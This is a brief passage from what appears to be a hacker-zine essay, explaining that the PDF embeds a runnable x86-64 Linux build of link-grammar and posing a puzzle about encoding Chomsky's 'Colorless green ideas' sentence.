The PDF includes an ELF x86-64 version of link-grammar, so you will need to execute the PDF on a matching platform. Any 64-bit Debian-like distro with libaspell15 installed should do.

For extra credit, you may construct a meaningful sentence that encodes to Chomsky’s famously meaningless but grammatical example, “Colorless green ideas sleep furiously.”

Ideas presented in this little essay were first discussed by the author at Hack.lu 2007 HackCamp.

Have fun!

Image
Image
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset